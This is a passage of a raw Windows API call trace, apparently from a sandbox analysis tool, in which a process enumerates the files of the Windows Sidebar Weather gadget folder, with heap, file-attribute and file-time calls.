ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 1 [0090.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3858 [0090.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343858 [0090.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.414] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 0 [0090.414] GetLastError () returned 0x12 [0090.414] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0090.414] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xab00, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x388c, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe268, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 1 [0090.415] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x210ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.js", cAlternateFileName="")) returned 0 [0090.415] GetLastError () returned 0x12 [0090.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1343018) returned 1 [0090.415] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1342f10) returned 1 [0090.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1342e08) returned 1 [0090.416] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.416] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1 [0090.416] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 0 [0090.416] GetLastError () returned 0x12 [0090.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0090.416] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13426d0) returned 1 [0090.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340d08) returned 1 [0090.416] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6739fc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd6739fc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd6739fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.416] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.417] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.418] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.418] NtClose (Handle=0x168) returned 0x0 [0090.418] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340d08) returned 1 [0090.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.418] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340d08 [0090.419] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.419] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.419] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.422] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.423] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd699b5c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbd699b5c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbd699b5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0090.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.423] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.423] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0090.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3878 [0090.424] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342e08 [0090.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.425] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc00d2b2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc00d2b2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd699b5c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.png", cAlternateFileName="")) returned 1 [0090.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3898 [0090.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342f10 [0090.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.427] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc00d2b2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc00d2b2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.png", cAlternateFileName="")) returned 1 [0090.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f38b8 [0090.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343018 [0090.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9380) returned 0x135c9e8 [0090.428] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.png", cAlternateFileName="")) returned 1 [0090.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.428] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.429] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f38d8 [0090.429] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343960 [0090.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.430] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818acf3e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818acf3e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="120DPI", cAlternateFileName="")) returned 1 [0090.430] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc033411, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc033411, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6bfcbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="13.png", cAlternateFileName="")) returned 1 [0090.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.430] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.430] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f38f8 [0090.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343a68 [0090.431] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.431] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc07f6cf, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc07f6cf, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.png", cAlternateFileName="")) returned 1 [0090.431] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.432] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.432] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81886ddd, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81886ddd, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="144DPI", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="15.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0a582e, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0a582e, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd6e5e1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xfe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0cb98d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0cb98d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="17.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0cb98d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0cb98d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="18.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0f1aec, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0f1aec, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="19.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0f1aec, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc0f1aec, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1px.gif", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc117c4b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc117c4b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc13ddaa, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbc13ddaa, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbd70bf7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x17b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="20.png", cAlternateFileName="")) returned 1 [0090.433] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: 